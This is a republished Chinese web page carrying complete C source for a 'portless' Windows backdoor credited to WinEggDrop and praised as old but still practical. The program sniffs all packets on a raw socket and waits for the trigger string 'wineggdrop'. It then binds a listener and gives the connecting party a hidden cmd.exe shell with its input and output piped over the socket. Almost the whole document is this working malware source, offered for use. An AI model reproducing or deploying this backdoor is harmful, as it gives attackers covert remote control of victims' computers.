古老的代码,但是绝对实用 一个小后门 WinEggDrop

来源:互联网 发布:福鼎市小鹿网络 编辑:程序博客网 时间:2024/05/09 23:14
//**********************************************************************// Version: V1.0// Coder: WinEggDrop// Date Release: NULL// Purpose: To Demonstrate Some Portless Backdoor Technique// Test PlatForm: Win 2K Pro And Server SP4// Compiled On: LCC 3.0,May Compile On VC++ 6.0(Not Test Yet)//**********************************************************************#include <windows.h>#include <stdio.h>#include <winsock2.h>// Some Structures To Define#define   IP_HDRINCL         2#define SIO_RCVALL          _WSAIOW(IOC_VENDOR,1)#define MAX_PACK_LEN     65535#define MAX_ADDR_LEN      16#define MAX_HOSTNAME_LAN     255typedef struct _iphdr{    unsigned char   h_lenver;    unsigned char   tos;    unsigned short total_len;    unsigned short ident;    unsigned short frag_and_flags;    unsigned char   ttl;    unsigned char   proto;    unsigned short checksum;    unsigned int    sourceIP;    unsigned int    destIP;}IP_HEADER;typedef struct _tcphdr{    USHORT th_sport;    USHORT th_dport;    unsigned int   th_seq;    unsigned int   th_ack;    unsigned char th_lenres;    unsigned char th_flag;    USHORT th_win;    USHORT th_sum;    USHORT th_urp;}TCP_HEADER;// End Of Structure// Global Variablechar SourceIPAddress[MAX_ADDR_LEN];     // Hold The Source IP(This Can Be Used To Do Reverse Connection)int   BackDoorPort = 0;      // The Port Back Door Will Bind// Function ProtoType Declaration//------------------------------------------------------------------------------------------------------BOOL    InitSocket();BOOL    DoSniffing();BOOL    DecodeIPPack(const char *Buffer,const int BufferSize);BOOL    DecodeTCPPack(const char * TCPBuffer,const int BufferSize);BOOL    IsWin2KOrAbove();DWORD   WINAPI StartBackDoor(LPVOID Para);BOOL    GetABackDoorShell(const SOCKET ListenSocket);BOOL      SendSocket(const SOCKET ClientSocket,const char *Message);unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char *Buffer,const int BufferSize);//------------------------------------------------------------------------------------------------------// End Of Fucntion ProtoType Declaration// Main Functionint main(int argc,char *argv[]){if (!IsWin2KOrAbove())     // This System Running This Program Is Not Win 2K Or Above{     printf("The Program Must Run Under Win 2k Or Above OS\n");     // Display This Message     return -1;     // Quit The Program}if (argc == 2)       // We Get Argument     BackDoorPort = atoi(argv[1]);       // Argument One Is The Back Door's Portelse     // No Argument     BackDoorPort = 1982;       // Back Door's Port Will Be Defined On 1982if (!InitSocket())      // Fail To Initize Socket{     printf("Fail To Start Up Winsock\n");     // Display Error Message     return -1;     // Quit The Program}DoSniffing();     // Do Sniffingreturn 0;      // Quit The Program}// End Of Main Function//-------------------------------------------------------------------------// Purpose: To Initize Socket// Return Type: Boolean// Parameters:   NULL// This Is Too Simple,I Won't Comment It//-------------------------------------------------------------------------BOOL InitSocket(){WSADATA data;WORD ver;ver = MAKEWORD(2,2);if (WSAStartup( ver, &data )!= 0 ){      return FALSE;}return TRUE;}// End Of InitSocket Function//-------------------------------------------------------------------------// Purpose: To Do None-Driver Sniffing// Return Type: Boolean// Parameters:   NULL//-------------------------------------------------------------------------BOOL DoSniffing(){int Length=0;     // Variable To Hold The Receive Buffer Lengthchar RecvBuf[MAX_PACK_LEN] = {0};      // Receive BufferSOCKET SocketRaw = INVALID_SOCKET;     // Raw SocketSocketRaw = socket(AF_INET , SOCK_RAW , IPPROTO_IP);     // Create A Raw Socketif (SocketRaw == INVALID_SOCKET)       // Fail To Create A Raw Socket{     printf("Fail To Create A Raw Socket\n");     // Display Error Message     return FALSE;     // Return False}char FAR name[MAX_HOSTNAME_LAN];if (gethostname(name, MAX_HOSTNAME_LAN) == SOCKET_ERROR)       // Fail To Get The Host Name{     printf("Fail To Get Host Name\n");     // Display Error Message     closesocket(SocketRaw);       // Close The Raw Socket Created     return FALSE;     // Return False}// The Below Is The NIC Stuffstruct hostent FAR * pHostent;pHostent = (struct hostent * )malloc(sizeof(struct hostent));     // Allocate Hostent BufferpHostent = gethostbyname(name);SOCKADDR_IN sa;sa.sin_family = AF_INET;      // That's Internet Relatedsa.sin_port = htons(0);       // Any Port Avariable On The OSif (pHostent->h_addr_list[0] != 0)     // We Only Check The First NIC{     memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length);     // We Use The First NIC As The Sniffing Subject}else     // Well,The First NIC Is Not Valid{     printf("Get Host By Name Fails\n");       // Display Error Message     free(pHostent);      // Free The Hostent Buffer     closesocket(SocketRaw);     return FALSE;     // Return FALSE;}free(pHostent);      // Free The Hostent Bufferif (bind(SocketRaw, (PSOCKADDR)&sa, sizeof(sa)) == SOCKET_ERROR)     // Bind The Raw Socket On The First NIC,But Fails{     printf("Fail To Bind\n");     // Display Error Message     closesocket(SocketRaw);       // Close The Raw Socket     return FALSE;     // Return False}// Forget About The Below A Few Lines,They Are Just A Static Routine To Do The None_Driver Sniffing(Some Sort Of Must-Have Codes) DWORD dwBufferLen[10] ;DWORD dwBufferInLen = 1 ;DWORD dwBytesReturned = 0 ;if (WSAIoctl(SocketRaw, SIO_RCVALL,&dwBufferInLen, sizeof(dwBufferInLen),&dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL) == SOCKET_ERROR){     closesocket(SocketRaw);     return FALSE;}while(TRUE)       // Sniffing Starts Here With Forever Loop{     memset(RecvBuf, 0, sizeof(RecvBuf));      // Reset The Receive Buffer      Length = recv(SocketRaw, RecvBuf, sizeof(RecvBuf), 0);     // Try To Receive Data     if (Length == SOCKET_ERROR)      // Get Error As Receiving Data     {        printf("Fail To Receive Data\n");      // Display Error Message        break;      // Leave The Loop     }     if (DecodeIPPack(RecvBuf,Length))      // Decode The Buffer Received,And The Active Code Is Found     {        printf("Bingo,The BackDoor Is Activated On Port %d\n",BackDoorPort);       //We Are Going To Activate The BackDoor        DWORD dwThreadID;        HANDLE BackDoorThread = CreateThread(NULL,0,&StartBackDoor,NULL,0,&dwThreadID);     // Create The Back Door Thread        WaitForSingleObject(BackDoorThread,INFINITE);      // Wait Until The Back Door Ends     }}closesocket(SocketRaw);       // Close The Raw Socketreturn TRUE;      // Return}// End Of DoSniffing Function//-------------------------------------------------------------------------// Purpose: To Decode The IP Packer// Return Type: Boolean// Parameters:   1.const char *Buffer    -->The Received Buffer//               2.Const int BufferSize -->The Received Buffer Size//-------------------------------------------------------------------------BOOL DecodeIPPack(const char *Buffer,const int BufferSize){IP_HEADER *pIpheader;      // IP HeaderSOCKADDR_IN saSource, saDest;pIpheader = (IP_HEADER *)Buffer;       // Transfer The Buffer Into IP Header Formint Protocol = pIpheader->proto;       // Get The Protocolif ((Protocol != IPPROTO_TCP))      // Not TCP Protocol{     return FALSE;     // Return False Since We Only Interest In TCP Protocol}saSource.sin_addr.s_addr = pIpheader->sourceIP;strncpy(SourceIPAddress, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN);      // Get The Source IP(Important For Doing Reverse Connection)int IPLength = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf);     // Get The IP Lengthreturn DecodeTCPPack(Buffer+IPLength, BufferSize);       // Decode TCP Packer}// End Of DecodeIPPack Function//-------------------------------------------------------------------------// Purpose: To Decode The TCP Packer// Return Type: Boolean// Parameters:   1.const char *TCPBuffer   -->The TCP Buffer//               2.Const int BufferSize    -->The TCP Buffer Size//-------------------------------------------------------------------------BOOL DecodeTCPPack(const char * TCPBuffer,const int BufferSize){TCP_HEADER * pTcpHeader;      // TCP Headerint iSourcePort,iDestPort;       // Source Port And DestPortpTcpHeader = (TCP_HEADER * )TCPBuffer;       // Transfer The Buffer Into TCP Header Formint TcpHeaderLen =   pTcpHeader->th_lenres>>4;      // Get The TCP Leader LengthTcpHeaderLen *= sizeof(unsigned long);char * TcpData=TCPBuffer+TcpHeaderLen;       // Get The TCP DataiSourcePort = ntohs(pTcpHeader->th_sport);      // Get The Source PortiDestPort = ntohs(pTcpHeader->th_dport);     // Get The Destination Portif (strstr(TcpData,"wineggdrop")!=NULL)      // If The TCP Data Contains A Word "wineggdrop"(The Active Code),Then Bingo{     printf("%s:%d-->Local:%d\r\n",SourceIPAddress,iSourcePort,iDestPort);      // Display A Message     return TRUE;      // Return TRUE(The Back Door Will Be Activated Soon)}return FALSE;     // We Didn't Receive An Active Code,Return False}// End Of DecodeTCPPack Function//-------------------------------------------------------------------------// Purpose: To Check The OS// Return Type: Boolean// Parameters:   NULL//-------------------------------------------------------------------------BOOL IsWin2KOrAbove(){OSVERSIONINFO OSVersionInfo;OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);if (GetVersionEx(&OSVersionInfo))      // Get The OS Version      return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) && (OSVersionInfo.dwMajorVersion == 5)); // Return Whether It's Win 2k Or Above OS else     return FALSE;     // Fail To Get The OS Version,Just Return FALSE}// End Of IsWin2KOrAbove Function//--------------------------------------------------------------------------------// Purpose: To Ease The Way To Send Data Through Socket// Return Type: Boolean// Parameters:   1.const SOCKET ClientSocket     --> The Socket To Send Message//               2.const char *Message           --> Message To Send//--------------------------------------------------------------------------------BOOL SendSocket(const SOCKET ClientSocket,const char *Message){return (send(ClientSocket,Message,strlen(Message),0)!=SOCKET_ERROR);}// End Of SendSocket//--------------------------------------------------------------------------------// Purpose: To Start The Back Door// Return Type: DWORD// Parameters:   LPVOID Para     --> Can Be AnyThing//--------------------------------------------------------------------------------DWORD WINAPI StartBackDoor(LPVOID Para){struct sockaddr_in srv;SOCKET ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);     // Create A TCP Socketif (ListenSocket == INVALID_SOCKET)       // Fail To Create A TCP Socket{     printf("Fail To Create A BackDoor Socket\n");      // Display Error Message     return -1;     // Return}srv.sin_family = AF_INET;     // Internet Relatedsrv.sin_addr.s_addr = htonl(INADDR_ANY);     // Any Addresssrv.sin_port = htons(BackDoorPort);       // Back Door Portif (bind(ListenSocket,(const struct sockaddr *) &srv,sizeof(srv)) == INVALID_SOCKET)      // Fail To Bind The Socket {     printf("Fail To Bind BackDoor Sokcet\n");       // Display Error Message      closesocket(ListenSocket);      // Close The Socket     return -1;     // Return}if (listen(ListenSocket,1) == INVALID_SOCKET)      // Fail To Listen On The Back Door's Port{      printf("Fail To Listen\n");     // Display Error Message      closesocket(ListenSocket);      // Close The Socket     return -1;     // Return}SOCKET AcceptSocket = accept(ListenSocket, NULL,NULL);      // Accepting Connectionsif (AcceptSocket == INVALID_SOCKET)       // Fail To Accept Connection{     printf("Fail To Accept Connection\n");       // Display Error Message     closesocket(ListenSocket);       // Close The Socket     return -1;     // Return}GetABackDoorShell(AcceptSocket);       // Get A CMD Shellclosesocket(AcceptSocket);       // Close Accpeted Socketclosesocket(ListenSocket);       // Close The Listen Socketreturn 0;      // Return}// End Of StartBackDoor Function//--------------------------------------------------------------------------------// Purpose: To To The Shell Stuff// Return Type: Boolean// Parameters:   const SOCKET ListenSocket    --> The Client Connected Socket//--------------------------------------------------------------------------------BOOL GetABackDoorShell(const SOCKET ListenSocket){char ReceiveBuffer[MAX_PATH + 1];      // The Receive Bufferchar SendBuffer[1024 * 4];       // The Send Bufferunsigned long OutputLength,InputLength;      // The Input And Output Length// The Pipe And Some Other SutffHANDLE ClientReadPipe = NULL;HANDLE ClientWritePipe = NULL;HANDLE CmdWritePipe = NULL;HANDLE CmdReadPipe = NULL;SECURITY_ATTRIBUTES sa                  = {0};STARTUPINFO          si                  = {0};PROCESS_INFORMATION pi                  = {0};ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));if (GetSystemDirectory(ReceiveBuffer,MAX_PATH))       // Get System Directory{     strcat(ReceiveBuffer,"\\cmd.exe");     // Get The Cmd.exe Full Path}else     // Fail To Get System Directory{     SendSocket(ListenSocket,"Fail To Get System Diretory\r\n");       // Display Error Message     return FALSE;     // Return}// Initize The Stuffsa.nLength = sizeof(sa);sa.bInheritHandle = TRUE;sa.lpSecurityDescriptor = NULL;memset(&pi,0,sizeof(pi));if (!CreatePipe(&ClientReadPipe,&CmdWritePipe,&sa,0))       // Fail To Create Client Read Pipe{     SendSocket(ListenSocket,"Fail To Create Client Read Pipe\r\n");      // Display Error Message     goto CleanUP;     // Leave}if (!CreatePipe(&CmdReadPipe,&ClientWritePipe,&sa,0))       // Fail To Create Cmd Read Pipe{     SendSocket(ListenSocket,"Fail To Create CMD Read Pipe\r\n");      // Display Error Message     goto CleanUP;     // Leave}// Reset And Initize Stuffmemset((void *)&si,0,sizeof(si));memset((void *)&pi,0,sizeof(pi));si.cb = sizeof(si);si.dwFlags      = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;si.wShowWindow = SW_HIDE;si.hStdInput = CmdReadPipe;      // Pass The CmdReadPipe To StdInputsi.hStdError = CmdWritePipe;     // Pass The CmdWritePipe To StdErrorsi.hStdOutput = CmdWritePipe;       // Pass The CmdWritePipe To StdOutputif (!CreateProcess(ReceiveBuffer,NULL,NULL,NULL,1,0,NULL, NULL,&si,&pi))      // Fail To Create A Cmd Shell Process{     SendSocket(ListenSocket,"Fail To Create Process\r\n");      // Display Error Message     goto CleanUP;     // Leave}while(TRUE)       // Shell Commincation Starts Here{     if (!PeekNamedPipe(ClientReadPipe,SendBuffer,sizeof(SendBuffer),&OutputLength,NULL,NULL))       // Fail To Get Data From The Pipe     {        SendSocket(ListenSocket,"Fail To Peek Name Pipe\r\n");      // Display Error Message          break;       // Leave     }      if (OutputLength > 0)     // Get Data From The Pipe Successfully     {        ZeroMemory(SendBuffer,sizeof(SendBuffer));      // Reset The Send Buffer          if (!ReadFile(ClientReadPipe,SendBuffer,OutputLength,&OutputLength,0))      //Fail To Read The Data         {           SendSocket(ListenSocket,"Fail To Read File\r\n");     // Display Error Message           break;      // Leave        }          if (send(ListenSocket,SendBuffer,OutputLength,0) == SOCKET_ERROR)     // Fail To Send The Data        {           printf("Fail To Send Buffer\n");       // Display Error Message           break;      // Leave        }     }     else     {        ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));      // Reset Receive Buffer        InputLength = ReceiveMessageFromSocket(ListenSocket, ReceiveBuffer, sizeof(ReceiveBuffer));     // Receive Input From Client        if (InputLength == SOCKET_ERROR)       // Fail To Receive Data        {           printf("Fail To Receive Buffer\n");       // Display Error Message           break;      // Leave        }          if (!WriteFile(ClientWritePipe,ReceiveBuffer,InputLength,&InputLength,0))      // Fail To Write The Received Data To The Pipe        {           printf("Fail To Write File\n");     // Display Error Message           break;      // Leave        }        // Leave The Shell        if (strnicmp((char*)ReceiveBuffer, "exit\r\n", 6) == 0 || strnicmp((char*)ReceiveBuffer, "exit\r", 5)==0 || strnicmp((char*)ReceiveBuffer, "exit\n", 5)==0)          break;     }}// Clean All Resource AllocatedCleanUP:         if (CmdReadPipe != NULL)            CloseHandle(CmdReadPipe);       if (CmdWritePipe != NULL)            CloseHandle(CmdWritePipe);       if (ClientReadPipe != NULL)            CloseHandle(ClientReadPipe);       if (ClientWritePipe)            CloseHandle(ClientWritePipe);   return TRUE;}// End Of GetABackDoorShell Function//--------------------------------------------------------------------------------// Purpose: To Receive Data From Socket In A Custom-Defined Way// Return Type: unsigned int// Parameters: 1.const SOCKET ClientSocket    --> The Client Connected Socket//              2.char *Buffer                 --> Buffer To Hold Data Received//              3.const int BufferSize         --> The Buffer Size//--------------------------------------------------------------------------------unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char *Buffer,const int BufferSize){ZeroMemory(Buffer,BufferSize);      // Reset The Bufferif (BufferSize < 2)     // Buffer Size Is Less Then 2{      return 0;     // Dump}unsigned int CharacterCount = 0;while(TRUE){     if (CharacterCount >= BufferSize)      // The Characters Received Is Bigger Or Equal The Buffer Size     {        // Give The Buffer An Enter        Buffer[BufferSize-2] = '\r';        Buffer[BufferSize-1] = '\n';          return CharacterCount;      // Return The Characters Received     }      if (recv(ClientSocket,Buffer+CharacterCount,1,0) == SOCKET_ERROR)      // Fail To Receive Data     {        return SOCKET_ERROR;       // Return Error     }      if (Buffer[CharacterCount] == '\b')      // Back Space Detected     {        Buffer[CharacterCount] = '\0';      // Skip It          if (CharacterCount > 0)     // Characters Received Is Bigger Than 0        {           CharacterCount--;       // Decrease One Character              Buffer[CharacterCount] = '\0';        }          continue;       // Begin A New Loop     }      if (Buffer[CharacterCount++] == '\n')       // Enter Is Detected     {        return CharacterCount;     // Return The Characters Received     }}return 0;      // We Get Nothing,Return Zero}// End Of ReceiveMessageFromSocket Function// End Of File

原创粉丝点击